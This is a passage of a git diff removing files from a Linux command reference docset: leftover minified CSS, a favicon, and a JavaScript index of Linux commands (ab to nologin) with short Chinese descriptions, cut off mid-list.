table{border-spacing:0;border-collapse:collapse}.markdown-body table td,.markdown-body table th{padding:6px 13px;border:1px solid #dfe2e5}.markdown-body table tr{background-color:#fff;border-top:1px solid #c6cbd1}.markdown-body code{padding:.2em .4em;margin:0;font-size:85%;background-color:#f0f0f5;border-radius:3px;margin:0 .4em}a.github-corner{position:fixed;z-index:9999;top:0;right:0}a.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}a.github-corner svg{fill:#f1f1f1;color:#000;position:absolute;top:0;border:0;right:0;z-index:99;width:70px;height:70px}a{transition:all .2s ease-in}.header{width:517px;margin:0 auto 0;padding:0 10px}.header .logo{text-align:center;padding-top:50px;padding-bottom:50px}.header .box{position:relative}.header .search{min-height:20px;position:relative;display:table;border-collapse:separate}.header .search li,.header .search ul{list-style:none}.header .search #result .ok{background:#f4f4f4}.header .search .search-list{position:absolute;display:none;z-index:999;box-shadow:1px 1px 3px #ededed;border:1px solid #d5d5d5;background:#fff;min-width:100px;top:39px;width:100%;padding:5px;border-radius:5px 5px 5px 5px}.header .search .search-list li{line-height:23px}.header .search .search-list li span{padding:0 8px;color:#b9b9b9}.header .search .search-list a{display:block;padding:2px 6px 2px 6px;color:#555}.header .search .search-list a:hover{background-color:#f2f2f2}.header .search .search-list a .kw{color:#f00;font-style:inherit;font-weight:bold}.header .search .query,.header .search .enter-input{display:table-cell;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.header .search .query{resize:none;position:relative;z-index:2;width:100%;height:40px;padding:6px 12px;font-size:14px;font-weight:bold;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #d5d5d5;border-radius:5px 0 0 5px;-webkit-appearance:none}.header .search .query:focus{z-index:99;border-color:#66afe9;outline:0;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(102,175,233,0.6)}.header .search .enter-input{width:1%;white-space:nowrap;vertical-align:middle}.header .search .enter-input button{margin:0;left:-1px;position:relative;z-index:5;display:inline-block;padding:9px 23px;font-size:14px;font-weight:bold;line-height:1.42857143;text-align:center;text-rendering:auto;white-space:nowrap;vertical-align:middle;touch-action:manipulation;cursor:pointer;user-select:none;background-image:none;background-color:#fff;border:1px solid transparent;border-collapse:separate;border-radius:0 5px 5px 0;border-color:#d5d5d5;color:#333}.header .search .enter-input button:focus,.header .search .enter-input button:active:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.header .search .enter-input button:active{color:#333;background-color:#e6e6e6;border-color:#b4b4b4;background-image:none;box-shadow:inset 0 8px 32px -8px rgba(0,0,0,0.3)}.header .search .enter-input button:focus{color:#333;background-color:#e6e6e6;border-color:#999;text-decoration:none}.header .search .enter-input button:hover{color:#333;background-color:#e6e6e6;border-color:#b4b4b4}.footer{text-align:center;padding-top:31px;color:#616161;font-size:14px;font-weight:300;border-top:1px solid #efefef;padding-bottom:50px}.footer.footer_index{border-top:0}.header.header_list{width:auto;position:fixed;width:100%;background:#fff;z-index:99}.header_list{padding:10px 10px 10px 13px;border-bottom:1px solid #eee}.header_list .logo{float:left;padding-top:3px;padding-bottom:0;padding-right:24px;text-align:left}.header_list .logo svg{height:37px;width:136px}.header_list .search{max-width:517px}.header_list .footer{display:none}.search_list{padding:79px 27px}.search_list a{font-size:16px}.search_list a strong{font-weight:bold}.search_list a .kw{color:#f00;font-style:inherit;font-weight:bold}.search_list a:hover .kw{color:#333}.search_list li{padding:10px 0 10px 0;list-style-type:none}.search_list li p{padding-top:5px;color:#4f4f4f}.hotlist{padding:79px 27px}.hotlist a{font-size:16px}.hotlist a strong{font-weight:bold}.hotlist li{padding:5px 0 5px 0;list-style-type:none}.hotlist li p{padding-top:5px;color:#4f4f4f}@media screen and (max-width:479px){.header{width:inherit}.header .search .enter-input button{padding:9px 14px}.header_list .logo svg{width:96px}.header_list .search .query{line-height:31px}.header_list .logo{float:inherit;padding-right:10px;padding-top:8px;padding-bottom:14px;text-align:center}.search_list,.hotlist{padding:129px 27px}div.markdown-body{padding:140px 10px 10px 13px}div.markdown-body .edit_btn + *{margin-top:0 !important}div.markdown-body .edit_btn{top:9px}div.markdown-body .edit_btn a{background:#f1f1f1;color:#a3a3a3}}@-moz-keyframes octocat-wave{0%,100%{-webkit-transform:rotate(0);transform:rotate(0)}20%,60%{-webkit-transform:rotate(-25deg);transform:rotate(-25deg)}40%,80%{-webkit-transform:rotate(10deg);transform:rotate(10deg)}}@-webkit-keyframes octocat-wave{0%,100%{-webkit-transform:rotate(0);transform:rotate(0)}20%,60%{-webkit-transform:rotate(-25deg);transform:rotate(-25deg)}40%,80%{-webkit-transform:rotate(10deg);transform:rotate(10deg)}}@-o-keyframes octocat-wave{0%,100%{-webkit-transform:rotate(0);transform:rotate(0)}20%,60%{-webkit-transform:rotate(-25deg);transform:rotate(-25deg)}40%,80%{-webkit-transform:rotate(10deg);transform:rotate(10deg)}}@keyframes octocat-wave{0%,100%{-webkit-transform:rotate(0);transform:rotate(0)}20%,60%{-webkit-transform:rotate(-25deg);transform:rotate(-25deg)}40%,80%{-webkit-transform:rotate(10deg);transform:rotate(10deg)}} \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/img/favicon.ico b/linux-command.docset/Contents/Resources/Documents/img/favicon.ico deleted file mode 100644 index 6ba1992b4f..0000000000 Binary files a/linux-command.docset/Contents/Resources/Documents/img/favicon.ico and /dev/null differ diff --git a/linux-command.docset/Contents/Resources/Documents/js/dt.js b/linux-command.docset/Contents/Resources/Documents/js/dt.js deleted file mode 100644 index 317f0ae02c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/js/dt.js +++ /dev/null @@ -1 +0,0 @@ -var linux_commands=[{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},{"n":"alias","p":"/alias","d":"定义或显示别名。"},{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},{"n":"ar","p":"/ar","d":"建立或修改备存文件,或是从备存文件中抽取文件"},{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},{"n":"as","p":"/as","d":"汇编语言编译器"},{"n":"at","p":"/at","d":"在指定时间执行一个任务"},{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},{"n":"axel","p":"/axel","d":"多线程下载工具"},{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},{"n":"break","p":"/break","d":"结束for,while或until循环。"},{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},{"n":"chcon","p":"/chcon","d":"修改对象(文件)的安全上下文"},{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},{"n":"col","p":"/col","d":"过滤控制字符"},{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},{"n":"command","p":"/command","d":"调用并执行指定的命令"},{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},{"n":"continue","p":"/continue","d":"结束本次循环,继续执行下一个for,while或until循环。"},{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},{"n":"declare","p":"/declare","d":"声明变量,设置或显示变量的值和属性。"},{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},{"n":"df","p":"/df","d":"显示磁盘的相关信息"},{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},{"n":"dig","p":"/dig","d":"域名查询工具"},{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},{"n":"exit","p":"/exit","d":"退出当前的shell。"},{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},{"n":"expr","p":"/expr","d":"一款表达式计算工具"},{"n":"false","p":"/false","d":"返回状态为失败。"},{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},{"n":"file","p":"/file","d":"用来探测给定文件的类型"},{"n":"find","p":"/find","d":"在指定目录下查找文件"},{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件,跟iptables差不多的工具"},{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},{"n":"free","p":"/free","d":"显示内存的使用情况"},{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式,是强制、执行还是停用"},{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},{"n":"gzip","p":"/gzip","d":"用来压缩文件"},{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},{"n":"head","p":"/head","d":"显示文件的开头部分。"},{"n":"help","p":"/help","d":"该命令是bash内建命令,用于显示bash内建命令的帮助信息。"},{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},{"n":"history","p":"/history","d":"显示或操作历史列表。"},{"n":"host","p":"/host","d":"常用的分析域名查询工具"},{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器,可以动态观察系统进程状况"},{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},{"n":"ip","p":"/ip","d":"网络配置工具"},{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量 "},{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},{"n":"kill","p":"/kill","d":"发送信号到进程。"},{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},{"n":"let","p":"/let","d":"简单的计算器,执行算术表达式。"},{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},{"n":"ln","p":"/ln","d":"用来为文件创建链接"},{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},{"n":"local","p":"/local","d":"在函数内定义局部变量。"},{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},{"n":"login","p":"/login","d":"登录系统或切换用户身份"},{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},{"n":"losetup","p":"/losetup","d":"设定与控制循环(loop)设备"},{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},{"n":"ls","p":"/ls","d":"显示目录内容列表"},{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},{"n":"make","p":"/make","d":"GNU的工程化编译工具"},{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},{"n":"more","p":"/more","d":"显示文件内容,每次显示一屏"},{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称"},{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},{"n":"nc","p":"/nc","d":"用于设置路由器,是网络工具中的瑞士军刀"},{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},